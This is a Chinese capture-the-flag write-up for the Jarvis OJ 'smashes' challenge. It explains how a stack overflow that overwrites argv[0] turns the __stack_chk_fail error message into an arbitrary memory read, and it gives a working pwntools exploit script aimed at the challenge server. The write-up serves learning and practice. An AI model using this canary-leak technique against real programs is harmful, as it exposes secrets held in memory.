Jarvis OJ上面的一道题smashes
ida查看关键函数
查看byte_600d20的位置:
第一次是向栈上输入一个无限长的字符串,第二次是往flag附近写入,并且第二个输入字符将会覆盖flag
显然第一次输入触发栈溢出
开启了canary,关于绕过canary的思路主要有两种
一、泄露canary
二、利用canary检查失败后调用的___stack_chk_fail函数
这里利用__stack_chk_fail实现任意地址读。
gdb调试下进入___stack_chk_fail函数,再步入__GI__fortify_fail函数,可以看到这里执行了一个叫做__libc_message的函数
功能大概就是输出一些错误信息
其中当前程序的路径名是从argv[0]中取得的并存放在栈上,然后用类似于格式化字符串的方式进行拼接。
第一次输入的数据起始位置是0x7fffffffdfd0,而存放0x7fffffffe4de的栈上地址为0x7fffffffe1e8,只要输入足够长,是可以覆盖__libc_message的参数的,从而把我们覆盖的地址位置的数据打印出来。
from pwn import *
p=remote('pwn.jarvisoj.com',9877)
p.recvuntil("What's your name?")
p.sendline('A'*536+p64(0x400d20))
#gdb.attach(p,'b* 0x00000000004008A9')
p.recvuntil('Please overwrite the flag:')
p.sendline('')
print p.recvuntil('Thank you, bye!')
print p.recv()
#raw_input()
PS:这里叕有个坑,原本说好了存在bss里的flag被清掉了。。。gdb搜索相关字符串发现在0x400d20还有一个备份。。。
网友评论